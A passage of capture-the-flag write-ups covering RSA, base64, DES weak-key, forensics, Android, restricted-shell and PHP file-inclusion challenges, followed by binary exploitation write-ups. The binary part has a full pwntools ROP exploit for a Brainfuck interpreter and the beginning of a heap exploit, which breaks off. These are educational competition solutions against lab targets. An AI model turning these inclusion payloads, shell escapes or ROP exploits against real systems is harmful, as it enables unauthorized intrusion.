and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
include pwn challenge bf, vm, no_write, note,mginx and re challenge cipher
## bf
A brain fuck interpreter written by c++, the structure that program used :
```cppstruct brain_fck{ char data[0x400]; // data string code; // brain fuck code};```
`'>'` op caused `off_by_one` :

The compare condition is `v21 > &v25` not `>=`,so we can read or modify the brain_fck.code's lowbit.
`brain_fck.code` is a string,string class almost look like(Of course, I omitted most of the class ):
```cppclass string{ char* ptr; size_t len; char buf[0x10];}```
string class will put the characters in the buf when string.length() less then 16,it means ptr pointer to itself 's buf; And it will use malloc when the string length large or equal 16.
As we can modify the brain_fck.code's lowbit,it means we can modify brain_fck.code.ptr to arbitrary write and read.
Because the brain_fck.code is in stack in the first, we just make sure that the brain fuck code we input length less then 16 to make the brain_fck.code.ptr point to stack memory instead of heap.
So a basic exploit as follows:
- leak brain_fck.code.ptr's lowbit- leak stack and libc address- modify ret value of main function- hijack it with ROP
exp:
```pythonfrom pwn import *import sys
context.arch = 'amd64'
def write_low_bit(low_bit,offset): p.recvuntil("enter your code:\n") p.sendline(",[>,]>,") p.recvuntil("running....\n") p.send("B"*0x3ff+'\x00') p.send(chr(low_bit+offset)) p.recvuntil("your code: ") p.recvuntil("continue?\n") p.send('y') p.recvuntil("enter your code:\n") p.sendline("\x00"*0xf) p.recvuntil("continue?\n") p.send('y')
def main(host,port=6002): global p if host: p = remote(host,port) else: p = process("./bf") # gdb.attach(p) # leak low_bit p.recvuntil("enter your code:\n") p.sendline(",[.>,]>.") p.send("B"*0x3ff+'\x00') p.recvuntil("running....\n") p.recvuntil("B"*0x3ff) low_bit = ord(p.recv(1)) info(hex(low_bit)) if low_bit + 0x70 >= 0x100: # :( sys.exit(0) # debug(0x000000000001C47) p.recvuntil("continue?\n") p.send('y') # leak stack p.recvuntil("enter your code:\n") p.sendline(",[>,]>,") p.recvuntil("running....\n") p.send("B"*0x3ff+'\x00') p.send(chr(low_bit+0x20)) p.recvuntil("your code: ") stack = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0xd8 info("stack : " + hex(stack)) p.recvuntil("continue?\n") p.send('y') # leak libc p.recvuntil("enter your code:\n") p.sendline(",[>,]>,") p.recvuntil("running....\n") p.send("B"*0x3ff+'\x00') p.send(chr(low_bit+0x38)) p.recvuntil("your code: ") libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0x21b97 info("libc : " + hex(libc.address)) p.recvuntil("continue?\n") p.send('y') # do rop # 0x00000000000a17e0: pop rdi; ret; # 0x00000000001306d9: pop rdx; pop rsi; ret; p_rdi = 0x00000000000a17e0 + libc.address p_rdx_rsi = 0x00000000001306d9 + libc.address ret = 0x00000000000d3d8a + libc.address p_rax = 0x00000000000439c8 + libc.address syscall_ret = 0x00000000000d2975 + libc.address rop_chain = [ 0,0,p_rdi,0,p_rdx_rsi,0x100,stack,libc.symbols["read"] ] rop_chain_len = len(rop_chain) for i in range(rop_chain_len-1,0,-1): write_low_bit(low_bit,0x57-8*(rop_chain_len-1-i)) p.recvuntil("enter your code:\n") p.sendline('\x00'+p64(rop_chain[i-1])+p64(rop_chain[i])[:6]) p.recvuntil("continue?\n") p.send('y') write_low_bit(low_bit,0) p.recvuntil("enter your code:\n") p.sendline('') p.recvuntil("continue?\n") p.send('n') payload = "/flag".ljust(0x30,'\x00') payload += flat([ p_rax,2,p_rdi,stack,p_rdx_rsi,0,0,syscall_ret, p_rdi,3,p_rdx_rsi,0x80,stack+0x200,p_rax,0,syscall_ret, p_rax,1,p_rdi,1,syscall_ret ]) p.send(payload.ljust(0x100,'\x00')) p.interactive() if __name__ == "__main__": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) # elf = ELF("./bf",checksec=False) main(args['REMOTE'])
```
## vm
read the flag and use exit code to leak it one by one.
vm structure:
```cpptypedef struct{ uint64_t r0; uint64_t r1; uint64_t r2; uint64_t r3; uint64_t r4; uint64_t r5; uint64_t r6; uint64_t r7; uint64_t* rsp; uint64_t* rbp; uint8_t* pc; uint32_t stack_size; uint32_t stack_cap;}vm;```
vm instruction:
```cppenum{ OP_ADD = 0, //add OP_SUB, //sub OP_MUL, //mul OP_DIV, //div OP_MOV, //mov OP_JSR, //jump register OP_AND, //bitwise and OP_XOR, //bitwise xor OP_OR, //bitwise or OP_NOT, //bitwise not OP_PUSH, //push OP_POP, //pop OP_JMP, //jump OP_ALLOC, //alloc new stack OP_NOP, //nop};```
The program first reads an instruction of 0x1000 length, then checks whether the instruction is legal or not, and passes the number of instructions together to the run_vm function, and run_vm function start to execute the instruction.
There are no check with JMP and JSR instruction in the check_instruction function,and look at the init_vm function:

vm->stack is allocated after vm->pc,it means vm->stack at high address,so we can push the instruction into stack first and jmp to stack to run the instruction that not be checked. Now we can use MOV instruction to arbitrary read and write.
So a basic exploit as follows:
- push the instruction into stack and jmp to stack to run it- Reduce the size of the chunk where the vm->stack is located so that it doesn't merge with top_chunk after free, and we can use the remaining libc address on the heap- Use ADD,SUB and MOV instruction to arbitrary write,modify `__free_hook` to `setcontext+53` - trigger free to hijack it
exp:
```pythonfrom pwn import *
context.arch="amd64"
